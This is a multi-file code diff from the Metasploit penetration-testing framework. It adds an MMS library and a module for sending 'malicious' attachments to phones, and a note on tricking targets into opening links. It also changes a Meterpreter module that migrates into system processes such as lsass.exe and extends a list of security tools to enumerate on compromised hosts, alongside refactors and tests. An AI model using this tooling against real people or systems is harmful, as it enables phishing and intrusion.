body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
end
mms = "MIME-Version: 1.0\n"
mms << "From: #{self.from}\n"
mms << "To: #{self.to}\n"
mms << "Subject: #{self.subject}\n"
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
mms << "\n"
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
mms
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Smtp
# @!attribute address
# @return [String] SMTP address
attr_accessor :address
# @!attribute port
# @return [Fixnum] SMTP port
attr_accessor :port
# @!attribute username
# @return [String] SMTP account/username
attr_accessor :username
# @!attribute password
# @return [String] SMTP password
attr_accessor :password
# @!attribute login_type
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
attr_accessor :login_type
# @!attribute from
# @return [String] Sender
attr_accessor :from
# @!attribute helo_domain
# @return [String] The domain to use for the HELO SMTP message
attr_accessor :helo_domain
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :address
# @option opts [Fixnum] :port
# @option opts [String] :username
# @option opts [String] :password
# @option opts [String] :helo_domain
# @option opts [Symbol] :login_type
# @option opts [String] :from
#
# @return [Rex::Proto::Mms::Model::Smtp]
def initialize(opts={})
self.address = opts[:address]
self.port = opts[:port] || 25
self.username = opts[:username]
self.password = opts[:password]
self.helo_domain = opts[:helo_domain] || 'localhost'
self.login_type = opts[:login_type] || :login
self.from = opts[:from] || ''
end
end
end
end
end
end

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
# Needed by msfgui and other rpc components

View File

@ -0,0 +1,35 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Mms
def initialize(info = {})
super(update_info(info,
'Name' => 'MMS Client',
'Description' => %q{
This module sends an MMS message to multiple phones of the same carrier.
You can use it to send a malicious attachment to phones.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
end
def run
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
begin
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
print_status("Done.")
rescue Rex::Proto::Mms::Exception => e
print_error(e.message)
end
end
end

View File

@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
This module sends a text message to multiple phones of the same carrier.
You can use it to send a malicious link to phones.
Please note that you do not use this module to send a media file (attachment),
because that is MMS.
Please note that you do not use this module to send a media file (attachment).
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE

View File

@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary
def storedb(hashreq,response,dbpath)
# Added host/port/ssl for report_web_page support
info = {
:web_site => @current_site,
:path => hashreq['uri'],
:query => hashreq['query'],
:data => hashreq['data'],
:code => response['code'],
:body => response['body'],
:headers => response['headers']
:host => hashreq['rhost'],
:port => hashreq['rport'],
:ssl => !hashreq['ssl'].nil?,
:data => hashreq['data'],
:code => response.code,
:body => response.body,
:headers => response.headers
}
#if response['content-type']

View File

@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary
print_status("#{ip}:#{rport} TELNET #{banner_santized}")
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
end
rescue ::Rex::ConnectionError
rescue Timeout::Error
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
print_error("A network issue has occurred: #{e.message}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue Timeout::Error => e
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue ::Exception => e
print_error("#{e} #{e.backtrace}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
end
end

View File

@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
This module allows you to open an android meterpreter via a browser. An Android
meterpreter must be installed as an application beforehand on the target device
in order to use this.
For best results, you can consider using the auxiliary/client/sms/send_text to
trick your target into opening the malicious link, and wake up Meterpreter.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],

View File

@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && !res.get_cookies.empty?
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
if match

View File

@ -71,7 +71,8 @@ class MetasploitModule < Msf::Post
"truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch",
"chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis",
"rkhunter", "tcpdump", "webmin", "jailkit", "pwgen", "proxychains", "bastille",
"psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot"
"psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot",
"aa-status", "gradm2", "getenforce"
]
env_paths = cmd_exec("echo $PATH").split(":")

View File

@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ]
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
def initialize(info={})
@ -19,15 +19,15 @@ class MetasploitModule < Msf::Post
'Description' => %q{ This module will migrate a Meterpreter session based on session privileges.
It will do everything it can to migrate, including spawing a new User level process.
For sessions with Admin rights: It will try to migrate into a System level process in the following
order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe.
If all these fail, it will fall back to User level migration. For sessions with User level rights:
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
then migrate to it. It will attempt the User level processes in the following order:
NAME (if specified), explorer.exe, then notepad.exe.},
'License' => MSF_LICENSE,
'Author' =>
[
'Josh Hale <jhale85446[at]gmail.com>',
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
'theLightCosine'
],
'Platform' => ['win' ],
@ -36,18 +36,23 @@ class MetasploitModule < Msf::Post
register_options(
[
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
OptBool.new( 'KILL', [false, 'Kill original session process.', false])
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
OptBool.new( 'KILL', [true, 'Kill original session process.', false]),
OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
], self.class)
end
def run
# Get current process information
@original_pid = client.sys.process.open.pid
@original_name = client.sys.process.open.name
@original_name = client.sys.process.open.name.downcase
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
unless migrate_admin
if is_admin? && !datastore['NOFAIL']
print_status("NOFAIL set to false, exiting module.")
return
end
migrate_user
end
end
@ -61,7 +66,7 @@ class MetasploitModule < Msf::Post
def get_pid(proc_name)
processes = client.sys.process.get_processes
processes.each do |proc|
if proc['name'] == proc_name && proc['user'] != ""
if proc['name'].downcase == proc_name && proc['user'] != ""
return proc['pid']
end
end
@ -105,9 +110,13 @@ class MetasploitModule < Msf::Post
client.core.migrate(target_pid)
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
return true
rescue ::Rex::Post::Meterpreter::RequestError => error
rescue ::Rex::Post::Meterpreter::RequestError => req_error
print_error("Could not migrate to #{proc_name}.")
print_error(error.to_s)
print_error(req_error.to_s)
return false
rescue ::Rex::RuntimeError => run_error
print_error("Could not migrate to #{proc_name}.")
print_error(run_error.to_s)
return false
end
end
@ -118,12 +127,17 @@ class MetasploitModule < Msf::Post
# @return [FalseClass] if it failed to migrate
def migrate_admin
if is_admin?
# Populate target array
# Populate target array and Downcase all Targets
admin_targets = DEFAULT_ADMIN_TARGETS.dup
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
admin_targets.map!(&:downcase)
if is_system?
print_status("Session is already Admin and System.")
if admin_targets.include? @original_name
print_good("Session is already in target process: #{@original_name}.")
return true
end
else
print_status("Session is Admin but not System.")
end
@ -148,9 +162,11 @@ class MetasploitModule < Msf::Post
# @return [TrueClass] if it successfully migrated
# @return [FalseClass] if it failed to migrate
def migrate_user
# Populate Target Array
# Populate Target Array and Downcase all Targets
user_targets = DEFAULT_USER_TARGETS.dup
user_targets.unshift(datastore['NAME']) if datastore['NAME']
user_targets.map!(&:downcase)
print_status("Will attempt to migrate to a User level process.")
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.

View File

@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin
when '-s'
u = args.shift
l = args.shift
s = args.shift
o = args.shift
if not u
return
end
return unless u
if l == nil or l.empty?
l = 200
s = true
o = 'true'
else
l = l.to_i
s = false
# Add check if unicode parameters is the second one
if l == 'true' or l == 'false'
o = l
l = 200
else
l = l.to_i
end
end
o = (o == 'true')
if u.include? 'http'
# Parameters are in url form
view_site_tree(u,l,s)
view_site_tree(u,l,o)
else
# Parameters are digits
if !self.lastsites or self.lastsites.length == 0
@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin
# Skip the DB entirely if no matches
return if target_whitelist.length == 0
if not self.targets
self.targets = Hash.new()
end
unless self.targets
self.targets = Hash.new()
end
target_whitelist.each do |ent|
view_site_tree(ent,l,s)
view_site_tree(ent,l,o)
end
end
return
@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin
print_line("\t-a [url] Add site (vhost,url)")
print_line("\t-d [ids] Delete sites (separate ids with space)")
print_line("\t-l List all available sites")
print_line("\t-s [id] Display site structure (vhost,url|ids) (level)")
print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)")
print_line("")
return
else
@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin
# Skip the DB entirely if no matches
return if site_whitelist.length == 0
vsites = Hash.new()
site_whitelist.each do |ent|
vhost,target = ent
host = self.framework.db.workspace.hosts.find_by_address(target.host)
if not host
unless host
print_error("No matching host for #{target.host}")
next
end
serv = host.services.find_by_port_and_proto(target.port, 'tcp')
if not serv
unless serv
print_error("No matching service for #{target.host}:#{target.port}")
next
end
@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin
end
end
# Private function to avoid duplicate code
def load_tree_core(req, wtree)
pathchr = '/'
tarray = req.path.to_s.split(pathchr)
tarray.delete("")
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
end
end
#
# Load website structure into a tree
#
def load_tree(s)
pathchr = '/'
wtree = Tree.new(s.vhost)
# Load site pages
s.web_pages.order('path asc').each do |req|
tarray = req.path.to_s.split(pathchr)
tarray.delete("")
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
if req.code != 404
load_tree_core(req, wtree)
end
end
# Load site forms
s.web_forms.each do |req|
tarray = req.path.to_s.split(pathchr)
tarray.delete("")
tpath = Pathname.new(pathchr)
tarray.each do |df|
wtree.add_at_path(tpath.to_s,df)
tpath = tpath + Pathname.new(df.to_s)
end
load_tree_core(req, wtree)
end
return wtree
wtree
end
def print_file(filename)
ext = File.extname(filename)
if %w(.txt .md).include? ext
print '%bld%red'
elsif %w(.css .js).include? ext
print '%grn'
end
print_line("#{ filename }%clr")
end
#
# Print Tree structure. Still ugly
# Recursive function for printing the tree structure
#
def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode)
if tree != nil and tree.depth <= max_level
print (' ' * indent)
def print_tree(tree, ip, maxlevel, limitlevel)
initab = " " * 4
indent = 6
if tree != nil and tree.depth <= maxlevel
print initab + (" " * indent * tree.depth)
if tree.depth > 0
print "|"+("-" * (indent-1))+"/"
end
if tree.depth >= 0
if tree.depth == 0
print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n"
# Prefix serve to print the superior hierarchy
prefix.each { |bool|
if unicode
print (bool ? ' ' : '│') + (' ' * 3)
else
c = tree.children.count
if c > 0
print tree.name + " (" + c.to_s+")\n"
else
print tree.name + "\n"
end
print (bool ? ' ' : '|') + (' ' * 3)
end
}
if unicode
# The last children is special
print (is_last ? '└' : '├') + ('─' * 2) + ' '
else
print (is_last ? '`' : '|') + ('-' * 2) + ' '
end
tree.children.each_pair do |name,child|
print_tree(child,ip,maxlevel,limitlevel)
c = tree.children.count
if c > 0
print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })"
else
print_file tree.name
end
i = 1
new_prefix = prefix + [is_last]
tree.children.each_pair { |_,child|
is_last = !(i < c)
print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode)
i += 1
}
end
end
#
# Print Tree structure. Less ugly
# Modified by Jon P.
#
def print_tree(tree, ip, max_level, unicode)
indent = 4
if tree != nil and tree.depth <= max_level
if tree.depth == 0
print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr"
end
i = 1
c = tree.children.count
tree.children.each_pair do |_,child|
print_tree_recursive(child, max_level, indent, [], !(i < c), unicode)
i += 1
end
end

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Client do
let(:phone_numbers) { ['1112223333'] }
let(:message) { 'message' }
let(:attachment) { 'file.jpg' }
let(:file_content) { 'content' }
let(:subject) { 'subject' }
let(:ctype) { 'ctype' }
let(:carrier) { :verizon }
let(:smtp_server) {
Rex::Proto::Mms::Model::Smtp.new(
address: 'example.com',
port: 25,
username: 'username',
password: 'password'
)
}
subject do
Rex::Proto::Mms::Client.new(
carrier: carrier,
smtp_server: smtp_server
)
end
describe '#initialize' do
it 'sets carrier' do
expect(subject.carrier).to eq(carrier)
end
it 'sets smtp server' do
expect(subject.smtp_server).to eq(smtp_server)
end
end
describe '#send_mms_to_phones' do
before(:each) do
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
allow(smtp).to receive(:start).and_yield
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
allow(Net::SMTP).to receive(:new).and_return(smtp)
allow(File).to receive(:read).and_return(file_content)
end
it 'sends an mms message' do
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
expect(@sent_message).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Message do
let(:message) { 'message' }
let(:content_type) { 'ctype' }
let(:attachment) { 'filepath.jpg' }
let(:filecontent) { 'file content' }
let(:from) { 'sender@example.com' }
let(:to) { 'receiver@example.com' }
let(:mms_subject) { 'subject' }
before(:each) do
allow(File).to receive(:read).and_return(filecontent)
end
subject do
described_class.new(
from: from,
to: to,
subject: mms_subject,
message: message,
content_type: content_type,
attachment_path: attachment
)
end
describe '#initialize' do
it 'sets message' do
expect(subject.message).to eq(message)
end
it 'sets content type' do
expect(subject.content_type).to eq(content_type)
end
it 'sets attachment path' do
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets to' do
expect(subject.to).to eq(to)
end
it 'sets subject' do
expect(subject.subject).to eq(mms_subject)
end
end
describe '#to_s' do
it 'returns the mms message' do
expect(subject.to_s).to include('MIME-Version: 1.0')
end
end
end

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mms/model'
RSpec.describe Rex::Proto::Mms::Model::Smtp do
let(:address) { 'example.com' }
let(:port) { 25 }
let(:username) { 'username' }
let(:password) { 'password' }
let(:login_type) { :login }
let(:from) { 'from' }
let(:helo_domain) { 'example.com'}
subject do
Rex::Proto::Mms::Model::Smtp.new(
address: address,
port: port,
username: username,
password: password,
login_type: login_type,
from: from,
helo_domain: helo_domain
)
end
describe '#initialize' do
it 'sets address' do
expect(subject.address).to eq(address)
end
it 'sets port' do
expect(subject.port).to eq(port)
end
it 'sets username' do
expect(subject.username).to eq(username)
end
it 'sets password' do
expect(subject.password).to eq(password)
end
it 'sets login_type' do
expect(subject.login_type).to eq(login_type)
end
it 'sets from' do
expect(subject.from).to eq(from)
end
it 'sets helo domain' do
expect(subject.helo_domain).to eq(helo_domain)
end
end
end